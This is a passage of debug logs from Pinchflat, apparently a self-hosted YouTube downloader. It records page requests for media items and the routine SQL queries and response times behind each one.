t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563024] 18:13:08.804 [debug] QUERY OK source="sources" db=0.1ms idle=179.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:13:08.804 [debug] QUERY OK source="settings" db=0.0ms idle=179.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.804 [debug] QUERY OK source="settings" db=0.0ms idle=13.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.805 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.805 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:08.805 [info] Sent 200 in 2ms 18:13:08.955 [info] GET /sources/2/media/1563743 18:13:08.955 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563743", "source_id" => "2"} Pipelines: [:browser] 18:13:08.955 [debug] QUERY OK source="media_items" db=0.1ms idle=151.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563743] 18:13:08.955 [debug] QUERY OK source="tasks" db=0.0ms idle=151.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563743] 18:13:08.956 [debug] QUERY OK source="sources" db=0.1ms idle=151.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:13:08.956 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=151.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3755633] 18:13:08.956 [debug] QUERY OK source="settings" db=0.0ms idle=151.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.956 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.956 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:08.957 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:08.958 [info] Sent 200 in 2ms 18:13:09.105 [info] GET /sources/1/media/1563752/edit 18:13:09.105 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563752", "source_id" => "1"} Pipelines: [:browser] 18:13:09.106 [debug] QUERY OK source="media_items" db=0.1ms idle=149.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563752] 18:13:09.106 [debug] QUERY OK source="settings" db=0.0ms idle=150.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:09.106 [debug] QUERY OK source="settings" db=0.0ms idle=150.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:09.107 [debug] QUERY OK source="settings" db=0.1ms idle=150.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:09.107 [info] Sent 200 in 1ms 18:13:09.256 [info] GET /sources/2/media/1564173/edit 18:13:09.256 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1564173", "source_id" => "2"} Pipelines: [:browser] 18:13:09.256 [debug] QUERY OK source="media_items" db=0.1ms idle=299.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564173] 18:13:09.257 [debug] QUERY OK source="settings" db=0.0ms idle=150.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:09.257 [debug] QUERY OK source="settings" db=0.1ms idle=150.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:09.257 [debug] QUERY OK source="settings" db=0.1ms idle=150.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:09.258 [info] Sent 200 in 2ms 18:13:09.407 [info] GET /sources/2/media/1563847 18:13:09.407 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563847", "source_id" => "2"} Pipelines: [:browser] 18:13:09.407 [debug] QUERY OK source="media_items" db=0.1ms idle=300.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563847] 18:13:09.408 [debug] QUERY OK source="tasks" db=0.1ms idle=151.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563847] 18:13:09.408 [debug] QUERY OK source="sources" db=0.2ms idle=151.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:13:09.408 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=151.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3773684] 18:13:09.408 [debug] QUERY OK source="settings" db=0.1ms idle=151.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:09.409 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:09.409 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:09.409 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:09.410 [info] Sent 200 in 2ms 18:13:11.434 [info] GET /sources/25/media/1562353/edit 18:13:11.434 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562353", "source_id" => "25"} Pipelines: [:browser] 18:13:11.434 [debug] QUERY OK source="media_items" db=0.1ms idle=641.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562353] 18:13:11.434 [debug] QUERY OK source="settings" db=0.1ms idle=556.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.435 [debug] QUERY OK source="settings" db=0.1ms idle=556.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.435 [debug] QUERY OK source="settings" db=0.1ms idle=556.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.435 [info] Sent 200 in 1ms 18:13:11.474 [info] GET /sources/1/media/1563752 18:13:11.474 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1563752", "source_id" => "1"} Pipelines: [:browser] 18:13:11.474 [debug] QUERY OK source="media_items" db=0.1ms idle=596.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563752] 18:13:11.475 [debug] QUERY OK source="tasks" db=0.1ms idle=40.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1563752] 18:13:11.475 [debug] QUERY OK source="sources" db=0.1ms idle=40.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:13:11.475 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=40.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3761960] 18:13:11.475 [debug] QUERY OK source="settings" db=0.0ms idle=40.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.475 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.475 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.476 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:11.476 [info] Sent 200 in 2ms 18:13:11.622 [info] GET /sources/2/media/1564173 18:13:11.622 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "1564173", "source_id" => "2"} Pipelines: [:browser] 18:13:11.622 [debug] QUERY OK source="media_items" db=0.1ms idle=146.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1564173] 18:13:11.622 [debug] QUERY OK source="tasks" db=0.1ms idle=146.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [1564173] 18:13:11.622 [debug] QUERY OK source="sources" db=0.2ms idle=146.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:13:11.623 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=147.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [3794364] 18:13:11.623 [debug] QUERY OK source="settings" db=0.0ms idle=146.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.623 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.623 [debug] QUERY OK source="settings" db=0.1ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.624 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:13:11.624 [info] Sent 200 in 2ms 18:13:11.772 [info] GET /sources/25/media/1563692/edit 18:13:11.772 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1563692", "source_id" => "25"} Pipelines: [:browser] 18:13:11.772 [debug] QUERY OK source="media_items" db=0.1ms idle=149.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1563692] 18:13:11.772 [debug] QUERY OK source="settings" db=0.1ms idle=149.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.772 [debug] QUERY OK source="settings" db=0.0ms idle=149.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.773 [debug] QUERY OK source="settings" db=0.0ms idle=149.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.773 [info] Sent 200 in 1ms 18:13:11.923 [info] GET /sources/1/media/1562682/edit 18:13:11.923 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "1562682", "source_id" => "1"} Pipelines: [:browser] 18:13:11.923 [debug] QUERY OK source="media_items" db=0.1ms idle=151.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [1562682] 18:13:11.924 [debug] QUERY OK source="settings" db=0.0ms idle=151.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.924 [debug] QUERY OK source="settings" db=0.0ms idle=151.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:13:11.924 [debug] QUERY OK source="settings" db=0.0ms idle=151.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", 